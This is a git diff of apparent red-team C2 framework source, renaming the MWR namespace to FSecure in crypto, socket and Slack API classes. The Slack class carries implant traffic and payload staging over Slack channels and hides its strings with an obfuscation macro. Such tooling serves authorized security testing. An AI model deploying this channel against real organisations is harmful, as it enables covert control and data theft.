FSecure::Crypto::Sodium::PrivateKey FSecure::Crypto::Sodium::ConvertToKey(PrivateSignature const& signature)
{
ByteVector convertedKey(crypto_scalarmult_curve25519_BYTES);
if (crypto_sign_ed25519_sk_to_curve25519(convertedKey.data(), signature.data()))
@ -176,7 +176,7 @@ MWR::Crypto::Sodium::PrivateKey MWR::Crypto::Sodium::ConvertToKey(PrivateSignatu
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::Crypto::Sodium::PublicSignature MWR::Crypto::Sodium::ExtractPublic(PrivateSignature const& signature)
FSecure::Crypto::Sodium::PublicSignature FSecure::Crypto::Sodium::ExtractPublic(PrivateSignature const& signature)
{
ByteVector publicSignature(crypto_scalarmult_curve25519_BYTES);
if (crypto_sign_ed25519_sk_to_pk(publicSignature.data(), signature.data()))
@ -186,7 +186,7 @@ MWR::Crypto::Sodium::PublicSignature MWR::Crypto::Sodium::ExtractPublic(PrivateS
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::Crypto::Sodium::ExchangeKeys MWR::Crypto::Sodium::GenerateExchangeKeys()
FSecure::Crypto::Sodium::ExchangeKeys FSecure::Crypto::Sodium::GenerateExchangeKeys()
{
ByteVector publicKey(ExchangePublicKey::Size);
ByteVector privateKey(ExchangePrivateKey::Size);
@ -197,7 +197,7 @@ MWR::Crypto::Sodium::ExchangeKeys MWR::Crypto::Sodium::GenerateExchangeKeys()
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::Crypto::Sodium::SessionKeys MWR::Crypto::Sodium::GenerateClientSessionKeys(ExchangeKeys const& selfKeys, ExchangePublicKey const& serverKey)
FSecure::Crypto::Sodium::SessionKeys FSecure::Crypto::Sodium::GenerateClientSessionKeys(ExchangeKeys const& selfKeys, ExchangePublicKey const& serverKey)
{
ByteVector rxKey(SessionRxKey::Size);
ByteVector txKey(SessionTxKey::Size);
@ -207,7 +207,7 @@ MWR::Crypto::Sodium::SessionKeys MWR::Crypto::Sodium::GenerateClientSessionKeys(
return { rxKey, txKey };
}
MWR::Crypto::Sodium::SessionKeys MWR::Crypto::Sodium::GenerateServerSessionKeys(ExchangeKeys const& selfKeys, ExchangePublicKey const& clientKey)
FSecure::Crypto::Sodium::SessionKeys FSecure::Crypto::Sodium::GenerateServerSessionKeys(ExchangeKeys const& selfKeys, ExchangePublicKey const& clientKey)
{
ByteVector rxKey(SessionRxKey::Size);
ByteVector txKey(SessionTxKey::Size);
@ -217,7 +217,7 @@ MWR::Crypto::Sodium::SessionKeys MWR::Crypto::Sodium::GenerateServerSessionKeys(
return { rxKey, txKey };
}
MWR::ByteVector MWR::Crypto::Sodium::Encrypt(ByteView plaintext, SessionTxKey const& key)
FSecure::ByteVector FSecure::Crypto::Sodium::Encrypt(ByteView plaintext, SessionTxKey const& key)
{
Nonce<true> nonce;
ByteVector encryptedMessage(plaintext.size() + crypto_secretbox_MACBYTES + Nonce<true>::Size);
@ -230,7 +230,7 @@ MWR::ByteVector MWR::Crypto::Sodium::Encrypt(ByteView plaintext, SessionTxKey co
return encryptedMessage;
}
MWR::ByteVector MWR::Crypto::Sodium::Decrypt(ByteView message, SessionRxKey const& key)
FSecure::ByteVector FSecure::Crypto::Sodium::Decrypt(ByteView message, SessionRxKey const& key)
{
// Sanity check.
if (message.size() < Nonce<true>::Size + crypto_secretbox_MACBYTES)

View File

@ -4,7 +4,7 @@
#include "Nonce.h"
#include "EncryptionKey.h"
namespace MWR::Crypto
namespace FSecure::Crypto
{
/// Wrappers for libsodium
inline namespace Sodium

View File

@ -11,7 +11,7 @@
// based on https://codereview.stackexchange.com/questions/107991/hacking-a-securestring-based-on-stdbasic-string-for-c
namespace MWR
namespace FSecure
{
/// Minimal allocator zeroing on deallocation
/// @tparam T type to allocate
@ -85,7 +85,7 @@ namespace std
/// Specialized SecureString destructor.
/// Overwrites internal buffer (if SSO is in effect)
template<>
basic_string<char, std::char_traits<char>, MWR::SecureAllocator<char>>::~basic_string()
basic_string<char, std::char_traits<char>, FSecure::SecureAllocator<char>>::~basic_string()
{
// Clear internal buffer if SSO is in effect
#if _MSC_VER >= 1920 // v142 toolset
@ -105,7 +105,7 @@ namespace std
/// Specialized SecureWString destructor.
/// Overwrites internal buffer (if SSO is in effect)
template<>
basic_string<wchar_t, std::char_traits<wchar_t>, MWR::SecureAllocator<wchar_t>>::~basic_string()
basic_string<wchar_t, std::char_traits<wchar_t>, FSecure::SecureAllocator<wchar_t>>::~basic_string()
{
// Clear internal buffer if SSO is in effect
#if _MSC_VER >= 1920 // v142 toolset

View File

@ -1,345 +1,345 @@
#include "stdafx.h"
#include "SlackApi.h"
#include <random>
#include <cctype>
#include <algorithm>
MWR::Slack::Slack(std::string const& token, std::string const& channelName)
{
if (auto winProxy = WinTools::GetProxyConfiguration(); !winProxy.empty())
this->m_HttpConfig.set_proxy(winProxy == OBF_W(L"auto") ? web::web_proxy::use_auto_discovery : web::web_proxy(winProxy));
this->m_Token = token;
std::string lowerChannelName = channelName;
std::transform(lowerChannelName.begin(), lowerChannelName.end(), lowerChannelName.begin(), [](unsigned char c) { return std::tolower(c); });
SetChannel(CreateChannel(lowerChannelName));
}
void MWR::Slack::SetChannel(std::string const &channelId)
{
this->m_Channel = channelId;
}
void MWR::Slack::SetToken(std::string const &token)
{
this->m_Token = token;
}
std::string MWR::Slack::WriteMessage(std::string text)
{
json j;
j[OBF("channel")] = this->m_Channel;
j[OBF("text")] = text;
std::string url = OBF("https://slack.com/api/chat.postMessage");
json output = SendHttpRequest(url, OBF("application/json"), j);
return output[OBF("message")][OBF("ts")].get<std::string>(); //return the timestamp so a reply can be viewed
}
std::map<std::string, std::string> MWR::Slack::ListChannels()
{
std::map<std::string, std::string> channelMap;
std::string url = OBF("https://slack.com/api/channels.list?token=") + this->m_Token + OBF("&exclude_members=true&exclude_archived=true");
json response = SendHttpRequest(url, OBF("application/json"), NULL);
size_t size = response[OBF("channels")].size();
for (auto &channel : response[OBF("channels")])
{
std::string cName = channel[OBF("name")];
if (cName == OBF("everyone"))
continue;
std::string cId = channel[OBF("id")].get<std::string>();
channelMap.insert({ cName, cId });
}
return channelMap;
}
std::string MWR::Slack::CreateChannel(std::string const &channelName)
{
json j;
std::string url = OBF("https://slack.com/api/channels.create");
j[OBF("token")] = this->m_Token;
j[OBF("name")] = channelName;
json response = SendHttpRequest(url, OBF("application/json"), j);
if (!response.contains(OBF("channel"))) //attempt to find the channel using API call
{
std::map<std::string, std::string> channels = this->ListChannels();
if (channels.find(channelName) != channels.end())
{
return channels[channelName];
}
else
throw std::runtime_error(OBF("Throwing exception: unable to create channel\n"));
}
else
{
return response[OBF("channel")][OBF("id")].get<std::string>();
}
}
std::vector<json> MWR::Slack::ReadReplies(std::string const &timestamp)
{
std::string url = OBF("https://slack.com/api/channels.replies?token=") + this->m_Token + OBF("&channel=") + this->m_Channel + OBF("&thread_ts=") + timestamp;
json output = SendHttpRequest(url, OBF("application/json"), NULL);
std::vector<json> ret;
//This logic is really messy, in reality the checks are over cautious, however there is an edgecase
//whereby a message could be created with no replies of the implant that wrote triggers an exception or gets killed.
//If that was the case, and we didn't sanity check, we could run into problems.
if (output.contains(OBF("messages")))
{
json m = output[OBF("messages")];
if (m[0].contains(OBF("replies")) && m[0].size() > 1)
{
if (m[1].contains(OBF("files"))) //the reply contains a file, handle this differently
{
std::string ts = m[1][OBF("ts")];
std::string fileUrl = m[1][OBF("files")][0][OBF("url_private")].get<std::string>();
std::string text = GetFile(fileUrl);
//recreate a "message" from the data within the file.
json j;
j[OBF("ts")] = ts.c_str();
j[OBF("text")] = text.c_str();
ret.push_back(j);
}
else
{
for (size_t i = 1u; i < m.size(); i++) //skip the first message (it doesn't contain the data we want).
{
json reply = m[i];
ret.push_back(reply);
}
}
}
}
return ret;
}
std::vector<std::string> MWR::Slack::GetMessagesByDirection(std::string const &direction)
{
std::vector<std::string> ret;
json messages, resp;
std::string cursor;
//Slack suggest only requesting the 200 most recent messages.
//If there are more than 200, the has_more value will be true, at which point
//we need to grab the cursor and get the next lot of messages.
//This only becomes a problem with lots of beacons (especially if many are staging at the same time)
do
{
std::string url = OBF("https://slack.com/api/conversations.history?limit=200&token=");
url.append(this->m_Token + OBF("&") + OBF("channel=") + this->m_Channel);
//Will be empty on the first run, if has_more == false this won't be executed again
if (!cursor.empty())
url.append(OBF("&cursor=") + cursor);
//Actually send the http request and grab the messages
resp = SendHttpRequest(url, OBF("application/json"), NULL);
messages = resp[OBF("messages")];
//if there are more than 200 messages, we don't want to miss any, so update the cursor.
if(resp[OBF("has_more")] == OBF("true"))
cursor = resp[OBF("next_cursor")];
//now grab the 200 messages data.
for (auto &m : messages)
{
std::string data = m[OBF("text")];
//make sure it's a message we care about
if (data.find(direction) != std::string::npos)
{
ret.push_back(m[OBF("ts")].get<std::string>()); // - experimental
}
}
} while (resp[OBF("has_more")] == OBF("true"));
return ret;
}
void MWR::Slack::UpdateMessage(std::string const &message, std::string const &timestamp)
{
std::string url = OBF("https://slack.com/api/chat.update");
json j;
j[OBF("channel")] = this->m_Channel;
j[OBF("text")] = message;
j[OBF("ts")] = timestamp;
SendHttpRequest(url, OBF("application/json"), j);
}
void MWR::Slack::WriteReply(std::string const &text, std::string const &timestamp)
{
//this is more than 30 messages, send it as a file (we do this infrequently as file uploads restricted to 20 per minute).
//Using file upload for staging (~88 messages) is a huge improvement over sending actual replies.
if (text.length() >= 120000)
{
this->UploadFile(text, timestamp);
return;
}
if (text.length() > 40000) //hide how large messages are sent.
{
return this->WriteReplyLarge(text, timestamp);
}
int totalSent = 0;
json j;
j[OBF("channel")] = this->m_Channel;
j[OBF("text")] = text;
j[OBF("thread_ts")] = timestamp;
std::string url = OBF("https://slack.com/api/chat.postMessage");
json response = SendHttpRequest(url, OBF("application/json"), j);
}
void MWR::Slack::DeleteMessage(std::string const &timestamp)
{
json j;
j[OBF("channel")] = this->m_Channel;
j[OBF("ts")] = timestamp;
j[OBF("token")] = this->m_Token;
std::string url = OBF("https://slack.com/api/chat.delete");
json response = SendHttpRequest(url, OBF("application/json"), j);
}
//Slack limits a messages to 40000 characters - this actually gets split across 10 4000 character messages
void MWR::Slack::WriteReplyLarge(std::string const &data, std::string const &ts)
{
std::string ret;
int start = 0;
int size = static_cast<int>(data.length());
int end = size;
//Write 40k character messages at a time
while (size > 40000)
{
this->WriteReply(data.substr(start, 40000), ts);
start += 40000;
size -= 40000;
std::this_thread::sleep_for(std::chrono::seconds(7)); //throttle our output so slack blocks us less (40k characters is 10 messages)
}
this->WriteReply(data.substr(start, data.length()), ts); //write the final part of the payload
}
json MWR::Slack::SendHttpRequest(std::string const& host, std::string const& contentType, json const& data)
{
std::string authHeader = OBF("Bearer ") + this->m_Token;
std::string contentHeader = OBF("Content-Type: ") + contentType;
std::string postData;
while (true)
{
web::http::client::http_client webClient(utility::conversions::to_string_t(host), this->m_HttpConfig);
web::http::http_request request;
if (data != NULL)
{
request = web::http::http_request(web::http::methods::POST);
if (data.contains(OBF("postData")))
postData = data[OBF("postData")].get<std::string>();
else
postData = data.dump();
request.headers().set_content_type(utility::conversions::to_string_t(contentType));
request.set_body(utility::conversions::to_string_t(postData));
}
else
{
request = web::http::http_request(web::http::methods::GET);
}
request.headers().add(OBF_W(L"Authorization"), utility::conversions::to_string_t(authHeader));
pplx::task<web::http::http_response> task = webClient.request(request).then([&](web::http::http_response response)
{
return response;
});
task.wait();
web::http::http_response resp = task.get();
if (resp.status_code() == web::http::status_codes::OK)
{
auto respData = resp.extract_string();
return json::parse(respData.get());
}
else if (resp.status_code() == web::http::status_codes::TooManyRequests)
{
std::random_device randomDevice;
std::mt19937 randomEngine(randomDevice()); // seed the generator
std::uniform_int_distribution<> distribution(0, 10); // define the range
int sleepTime = 10 + distribution(randomEngine); //sleep between 10 and 20 seconds
std::this_thread::sleep_for(std::chrono::seconds(sleepTime));
}
else
throw std::exception(OBF("[x] Non 200/429 HTTP Response\n"));
}
}
void MWR::Slack::UploadFile(std::string const &data, std::string const &ts)
{
std::string url = OBF("https://slack.com/api/files.upload?token=") + this->m_Token + OBF("&channels=") + this->m_Channel + OBF("&thread_ts=") + ts;
std::string encoded = utility::conversions::to_utf8string(web::http::uri::encode_data_string(utility::conversions::to_string_t(data)));
json toSend;
toSend[OBF("postData")] = OBF("filename=test5&content=") + encoded;
json response = SendHttpRequest(url, OBF("application/x-www-form-urlencoded"), toSend);
}
std::string MWR::Slack::GetFile(std::string const &url)
{
std::string host = url;
std::string authHeader = OBF("Bearer ") + this->m_Token;
web::http::client::http_client webClient(utility::conversions::to_string_t(host), this->m_HttpConfig);
web::http::http_request request;
request.headers().add(OBF_W(L"Authorization"), utility::conversions::to_string_t(authHeader));
pplx::task<std::string> task = webClient.request(request).then([&](web::http::http_response response)
{
if (response.status_code() == web::http::status_codes::OK)
return response.extract_utf8string();
else
return pplx::task<std::string>{};
});
task.wait();
std::string resp = task.get();
return resp;
}
#include "stdafx.h"
#include "SlackApi.h"
#include <random>
#include <cctype>
#include <algorithm>
FSecure::Slack::Slack(std::string const& token, std::string const& channelName)
{
if (auto winProxy = WinTools::GetProxyConfiguration(); !winProxy.empty())
this->m_HttpConfig.set_proxy(winProxy == OBF_W(L"auto") ? web::web_proxy::use_auto_discovery : web::web_proxy(winProxy));
this->m_Token = token;
std::string lowerChannelName = channelName;
std::transform(lowerChannelName.begin(), lowerChannelName.end(), lowerChannelName.begin(), [](unsigned char c) { return std::tolower(c); });
SetChannel(CreateChannel(lowerChannelName));
}
void FSecure::Slack::SetChannel(std::string const &channelId)
{
this->m_Channel = channelId;
}
void FSecure::Slack::SetToken(std::string const &token)
{
this->m_Token = token;
}
std::string FSecure::Slack::WriteMessage(std::string text)
{
json j;
j[OBF("channel")] = this->m_Channel;
j[OBF("text")] = text;
std::string url = OBF("https://slack.com/api/chat.postMessage");
json output = SendHttpRequest(url, OBF("application/json"), j);
return output[OBF("message")][OBF("ts")].get<std::string>(); //return the timestamp so a reply can be viewed
}
std::map<std::string, std::string> FSecure::Slack::ListChannels()
{
std::map<std::string, std::string> channelMap;
std::string url = OBF("https://slack.com/api/channels.list?token=") + this->m_Token + OBF("&exclude_members=true&exclude_archived=true");
json response = SendHttpRequest(url, OBF("application/json"), NULL);
size_t size = response[OBF("channels")].size();
for (auto &channel : response[OBF("channels")])
{
std::string cName = channel[OBF("name")];
if (cName == OBF("everyone"))
continue;
std::string cId = channel[OBF("id")].get<std::string>();
channelMap.insert({ cName, cId });
}
return channelMap;
}
std::string FSecure::Slack::CreateChannel(std::string const &channelName)
{
json j;
std::string url = OBF("https://slack.com/api/channels.create");
j[OBF("token")] = this->m_Token;
j[OBF("name")] = channelName;
json response = SendHttpRequest(url, OBF("application/json"), j);
if (!response.contains(OBF("channel"))) //attempt to find the channel using API call
{
std::map<std::string, std::string> channels = this->ListChannels();
if (channels.find(channelName) != channels.end())
{
return channels[channelName];
}
else
throw std::runtime_error(OBF("Throwing exception: unable to create channel\n"));
}
else
{
return response[OBF("channel")][OBF("id")].get<std::string>();
}
}
std::vector<json> FSecure::Slack::ReadReplies(std::string const &timestamp)
{
std::string url = OBF("https://slack.com/api/channels.replies?token=") + this->m_Token + OBF("&channel=") + this->m_Channel + OBF("&thread_ts=") + timestamp;
json output = SendHttpRequest(url, OBF("application/json"), NULL);
std::vector<json> ret;
//This logic is really messy, in reality the checks are over cautious, however there is an edgecase
//whereby a message could be created with no replies of the implant that wrote triggers an exception or gets killed.
//If that was the case, and we didn't sanity check, we could run into problems.
if (output.contains(OBF("messages")))
{
json m = output[OBF("messages")];
if (m[0].contains(OBF("replies")) && m[0].size() > 1)
{
if (m[1].contains(OBF("files"))) //the reply contains a file, handle this differently
{
std::string ts = m[1][OBF("ts")];
std::string fileUrl = m[1][OBF("files")][0][OBF("url_private")].get<std::string>();
std::string text = GetFile(fileUrl);
//recreate a "message" from the data within the file.
json j;
j[OBF("ts")] = ts.c_str();
j[OBF("text")] = text.c_str();
ret.push_back(j);
}
else
{
for (size_t i = 1u; i < m.size(); i++) //skip the first message (it doesn't contain the data we want).
{
json reply = m[i];
ret.push_back(reply);
}
}
}
}
return ret;
}
std::vector<std::string> FSecure::Slack::GetMessagesByDirection(std::string const &direction)
{
std::vector<std::string> ret;
json messages, resp;
std::string cursor;
//Slack suggest only requesting the 200 most recent messages.
//If there are more than 200, the has_more value will be true, at which point
//we need to grab the cursor and get the next lot of messages.
//This only becomes a problem with lots of beacons (especially if many are staging at the same time)
do
{
std::string url = OBF("https://slack.com/api/conversations.history?limit=200&token=");
url.append(this->m_Token + OBF("&") + OBF("channel=") + this->m_Channel);
//Will be empty on the first run, if has_more == false this won't be executed again
if (!cursor.empty())
url.append(OBF("&cursor=") + cursor);
//Actually send the http request and grab the messages
resp = SendHttpRequest(url, OBF("application/json"), NULL);
messages = resp[OBF("messages")];
//if there are more than 200 messages, we don't want to miss any, so update the cursor.
if(resp[OBF("has_more")] == OBF("true"))
cursor = resp[OBF("next_cursor")];
//now grab the 200 messages data.
for (auto &m : messages)
{
std::string data = m[OBF("text")];
//make sure it's a message we care about
if (data.find(direction) != std::string::npos)
{
ret.push_back(m[OBF("ts")].get<std::string>()); // - experimental
}
}
} while (resp[OBF("has_more")] == OBF("true"));
return ret;
}
void FSecure::Slack::UpdateMessage(std::string const &message, std::string const &timestamp)
{
std::string url = OBF("https://slack.com/api/chat.update");
json j;
j[OBF("channel")] = this->m_Channel;
j[OBF("text")] = message;
j[OBF("ts")] = timestamp;
SendHttpRequest(url, OBF("application/json"), j);
}
void FSecure::Slack::WriteReply(std::string const &text, std::string const &timestamp)
{
//this is more than 30 messages, send it as a file (we do this infrequently as file uploads restricted to 20 per minute).
//Using file upload for staging (~88 messages) is a huge improvement over sending actual replies.
if (text.length() >= 120000)
{
this->UploadFile(text, timestamp);
return;
}
if (text.length() > 40000) //hide how large messages are sent.
{
return this->WriteReplyLarge(text, timestamp);
}
int totalSent = 0;
json j;
j[OBF("channel")] = this->m_Channel;
j[OBF("text")] = text;
j[OBF("thread_ts")] = timestamp;
std::string url = OBF("https://slack.com/api/chat.postMessage");
json response = SendHttpRequest(url, OBF("application/json"), j);
}
void FSecure::Slack::DeleteMessage(std::string const &timestamp)
{
json j;
j[OBF("channel")] = this->m_Channel;
j[OBF("ts")] = timestamp;
j[OBF("token")] = this->m_Token;
std::string url = OBF("https://slack.com/api/chat.delete");
json response = SendHttpRequest(url, OBF("application/json"), j);
}
//Slack limits a messages to 40000 characters - this actually gets split across 10 4000 character messages
void FSecure::Slack::WriteReplyLarge(std::string const &data, std::string const &ts)
{
std::string ret;
int start = 0;
int size = static_cast<int>(data.length());
int end = size;
//Write 40k character messages at a time
while (size > 40000)
{
this->WriteReply(data.substr(start, 40000), ts);
start += 40000;
size -= 40000;
std::this_thread::sleep_for(std::chrono::seconds(7)); //throttle our output so slack blocks us less (40k characters is 10 messages)
}
this->WriteReply(data.substr(start, data.length()), ts); //write the final part of the payload
}
json FSecure::Slack::SendHttpRequest(std::string const& host, std::string const& contentType, json const& data)
{
std::string authHeader = OBF("Bearer ") + this->m_Token;
std::string contentHeader = OBF("Content-Type: ") + contentType;
std::string postData;
while (true)
{
web::http::client::http_client webClient(utility::conversions::to_string_t(host), this->m_HttpConfig);
web::http::http_request request;
if (data != NULL)
{
request = web::http::http_request(web::http::methods::POST);
if (data.contains(OBF("postData")))
postData = data[OBF("postData")].get<std::string>();
else
postData = data.dump();
request.headers().set_content_type(utility::conversions::to_string_t(contentType));
request.set_body(utility::conversions::to_string_t(postData));
}
else
{
request = web::http::http_request(web::http::methods::GET);
}
request.headers().add(OBF_W(L"Authorization"), utility::conversions::to_string_t(authHeader));
pplx::task<web::http::http_response> task = webClient.request(request).then([&](web::http::http_response response)
{
return response;
});
task.wait();
web::http::http_response resp = task.get();
if (resp.status_code() == web::http::status_codes::OK)
{
auto respData = resp.extract_string();
return json::parse(respData.get());
}
else if (resp.status_code() == web::http::status_codes::TooManyRequests)
{
std::random_device randomDevice;
std::mt19937 randomEngine(randomDevice()); // seed the generator
std::uniform_int_distribution<> distribution(0, 10); // define the range
int sleepTime = 10 + distribution(randomEngine); //sleep between 10 and 20 seconds
std::this_thread::sleep_for(std::chrono::seconds(sleepTime));
}
else
throw std::exception(OBF("[x] Non 200/429 HTTP Response\n"));
}
}
void FSecure::Slack::UploadFile(std::string const &data, std::string const &ts)
{
std::string url = OBF("https://slack.com/api/files.upload?token=") + this->m_Token + OBF("&channels=") + this->m_Channel + OBF("&thread_ts=") + ts;
std::string encoded = utility::conversions::to_utf8string(web::http::uri::encode_data_string(utility::conversions::to_string_t(data)));
json toSend;
toSend[OBF("postData")] = OBF("filename=test5&content=") + encoded;
json response = SendHttpRequest(url, OBF("application/x-www-form-urlencoded"), toSend);
}
std::string FSecure::Slack::GetFile(std::string const &url)
{
std::string host = url;
std::string authHeader = OBF("Bearer ") + this->m_Token;
web::http::client::http_client webClient(utility::conversions::to_string_t(host), this->m_HttpConfig);
web::http::http_request request;
request.headers().add(OBF_W(L"Authorization"), utility::conversions::to_string_t(authHeader));
pplx::task<std::string> task = webClient.request(request).then([&](web::http::http_response response)
{
if (response.status_code() == web::http::status_codes::OK)
return response.extract_utf8string();
else
return pplx::task<std::string>{};
});
task.wait();
std::string resp = task.get();
return resp;
}

View File

@ -1,101 +1,101 @@
#pragma once
#include "Common/json/json.hpp"
#include "Common/CppRestSdk/include/cpprest/http_client.h"
using json = nlohmann::json; //for easy parsing of json API: https://github.com/nlohmann/json
namespace MWR
{
class Slack
{
public:
/// Constructor for the Slack Api class.
/// @param token - the token generated by Slack when an "app" was installed to a workspace
/// @param proxyString - the proxy to use
Slack(std::string const& token, std::string const& channelName);
/// Default constructor.
Slack() = default;
/// Write a message to the channel this Slack object is set to.
/// @param text - the text of the message
/// @return - a timestamp of the message that was written to the channel.
std::string WriteMessage(std::string text);
/// Set the channel that this object uses for communications
/// @param channel - the channelId (not name), for example CGPMGFGSH.
void SetChannel(std::string const &channelId);
/// set the token for this object.
/// @param token - the textual api token.
void SetToken(std::string const &token);
/// Creates a channel on slack, if the channel exists already, will call ListChannels internally to get the channelId.
/// @param channelName - the actual name of the channel, such as "general".
/// @return - the channelId of the new or already existing channel.
std::string CreateChannel(std::string const &channelName);
/// Read the replies to a message
/// @param timestamp - the timestamp of the original message, from which we can gather the replies.
/// @return - an array of json objects contaning the replies to the original message.
std::vector<json> ReadReplies(std::string const &timestamp);
/// List all the channels in the workspace the object's token is tied to.
/// @return - a map of {channelName -> channelId}
std::map<std::string, std::string> ListChannels();
/// Get all of the messages by a direction. This is a C3 specific method, used by a server relay to get client messages and vice versa.
/// @param direction - the direction to search for (eg. "S2C").
/// @return - a vector of timestamps, where timestamp allows replies to be read later
std::vector<std::string> GetMessagesByDirection(std::string const &direction);
/// Edit a previously sent message.
/// @param message - the message to update to, this will overwrite the previous message.
/// @param timestamp - the timestamp of the message to update.
void UpdateMessage(std::string const &message, std::string const &timestamp);
/// Create a thread on a message by writing a reply to it.
/// @param text - the text to send as a reply.
/// @param timestamp - the timestamp of the message that the reply is for.
void WriteReply(std::string const &text, std::string const &timestamp);
/// Delete a message from the channel
/// @param timestamp - the timestamp of the message to delete.
void DeleteMessage(std::string const &timestamp);
private:
/// Slack restricts the amount of data you can send as a message. This method handles that without the client being aware.
/// This method is only used when replies are sent.
/// @param data - the payload to be sent.
/// @param ts - the timestamp of the original message to reply to.
void WriteReplyLarge(std::string const &data, std::string const &ts);
/// The channel through which messages are sent and recieved, will be sent when the object is created.
std::string m_Channel;
/// The Slack API token that allows the object access to the workspace. Needs to be manually created as described in documentation.
std::string m_Token;
web::http::client::http_client_config m_HttpConfig;
json SendHttpRequest(std::string const& host, std::string const& contentType, json const& data);
/// Use Slack's file API to upload data as files. This is useful when a payload is large (for example during implant staging).
/// This function is called internally whenever a WriteReply is called with a payload of more than 120k characters.
/// @param data - the data to be sent.
/// @param ts - the timestamp, needed as this method is only used during WriteReply.
void UploadFile(std::string const &data, std::string const &ts);
/// Use Slack's File API to retrieve files.
/// @param url - the url where the file can be retrieved.
/// @return - the data within the file.
std::string GetFile(std::string const &url);
};
}
#pragma once
#include "Common/json/json.hpp"
#include "Common/CppRestSdk/include/cpprest/http_client.h"
using json = nlohmann::json; //for easy parsing of json API: https://github.com/nlohmann/json
namespace FSecure
{
class Slack
{
public:
/// Constructor for the Slack Api class.
/// @param token - the token generated by Slack when an "app" was installed to a workspace
/// @param proxyString - the proxy to use
Slack(std::string const& token, std::string const& channelName);
/// Default constructor.
Slack() = default;
/// Write a message to the channel this Slack object is set to.
/// @param text - the text of the message
/// @return - a timestamp of the message that was written to the channel.
std::string WriteMessage(std::string text);
/// Set the channel that this object uses for communications
/// @param channel - the channelId (not name), for example CGPMGFGSH.
void SetChannel(std::string const &channelId);
/// set the token for this object.
/// @param token - the textual api token.
void SetToken(std::string const &token);
/// Creates a channel on slack, if the channel exists already, will call ListChannels internally to get the channelId.
/// @param channelName - the actual name of the channel, such as "general".
/// @return - the channelId of the new or already existing channel.
std::string CreateChannel(std::string const &channelName);
/// Read the replies to a message
/// @param timestamp - the timestamp of the original message, from which we can gather the replies.
/// @return - an array of json objects contaning the replies to the original message.
std::vector<json> ReadReplies(std::string const &timestamp);
/// List all the channels in the workspace the object's token is tied to.
/// @return - a map of {channelName -> channelId}
std::map<std::string, std::string> ListChannels();
/// Get all of the messages by a direction. This is a C3 specific method, used by a server relay to get client messages and vice versa.
/// @param direction - the direction to search for (eg. "S2C").
/// @return - a vector of timestamps, where timestamp allows replies to be read later
std::vector<std::string> GetMessagesByDirection(std::string const &direction);
/// Edit a previously sent message.
/// @param message - the message to update to, this will overwrite the previous message.
/// @param timestamp - the timestamp of the message to update.
void UpdateMessage(std::string const &message, std::string const &timestamp);
/// Create a thread on a message by writing a reply to it.
/// @param text - the text to send as a reply.
/// @param timestamp - the timestamp of the message that the reply is for.
void WriteReply(std::string const &text, std::string const &timestamp);
/// Delete a message from the channel
/// @param timestamp - the timestamp of the message to delete.
void DeleteMessage(std::string const &timestamp);
private:
/// Slack restricts the amount of data you can send as a message. This method handles that without the client being aware.
/// This method is only used when replies are sent.
/// @param data - the payload to be sent.
/// @param ts - the timestamp of the original message to reply to.
void WriteReplyLarge(std::string const &data, std::string const &ts);
/// The channel through which messages are sent and recieved, will be sent when the object is created.
std::string m_Channel;
/// The Slack API token that allows the object access to the workspace. Needs to be manually created as described in documentation.
std::string m_Token;
web::http::client::http_client_config m_HttpConfig;
json SendHttpRequest(std::string const& host, std::string const& contentType, json const& data);
/// Use Slack's file API to upload data as files. This is useful when a payload is large (for example during implant staging).
/// This function is called internally whenever a WriteReply is called with a payload of more than 120k characters.
/// @param data - the data to be sent.
/// @param ts - the timestamp, needed as this method is only used during WriteReply.
void UploadFile(std::string const &data, std::string const &ts);
/// Use Slack's File API to retrieve files.
/// @param url - the url where the file can be retrieved.
/// @return - the data within the file.
std::string GetFile(std::string const &url);
};
}

View File

@ -3,7 +3,7 @@
#include "SocketsException.h"
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::AddrInfo::AddrInfo(std::string_view host, std::string_view service, int flags, int family, int socktype, int protocol)
FSecure::AddrInfo::AddrInfo(std::string_view host, std::string_view service, int flags, int family, int socktype, int protocol)
{
addrinfo hints{ flags, family, socktype, protocol };
addrinfo* result{};

View File

@ -1,6 +1,6 @@
#pragma once
namespace MWR
namespace FSecure
{
/// Wrapper to struct addrinfo
/// @note user has to call WSAStartup;

View File

@ -3,17 +3,17 @@
#include "SocketsException.h"
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::DuplexConnection::DuplexConnection(ClientSocket sock) : m_IsSending{ false }, m_IsReceiving{ false }, m_ClientSocket{ std::move(sock) }
FSecure::DuplexConnection::DuplexConnection(ClientSocket sock) : m_IsSending{ false }, m_IsReceiving{ false }, m_ClientSocket{ std::move(sock) }
{
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::DuplexConnection::DuplexConnection(std::string_view addr, uint16_t port) : DuplexConnection{ ClientSocket(addr, port) }
FSecure::DuplexConnection::DuplexConnection(std::string_view addr, uint16_t port) : DuplexConnection{ ClientSocket(addr, port) }
{
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::DuplexConnection::~DuplexConnection()
FSecure::DuplexConnection::~DuplexConnection()
{
{
std::unique_lock lock(m_MessagesMutex);
@ -27,7 +27,7 @@ MWR::DuplexConnection::~DuplexConnection()
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::DuplexConnection::StartSending()
void FSecure::DuplexConnection::StartSending()
{
m_IsSending = true;
m_SendingThread = std::thread([this]
@ -48,7 +48,7 @@ void MWR::DuplexConnection::StartSending()
m_ClientSocket.Send(message);
}
}
catch (MWR::SocketsException&)
catch (FSecure::SocketsException&)
{
Stop();
}
@ -56,13 +56,13 @@ void MWR::DuplexConnection::StartSending()
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::DuplexConnection::Receive()
FSecure::ByteVector FSecure::DuplexConnection::Receive()
{
return m_ClientSocket.Receive();
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
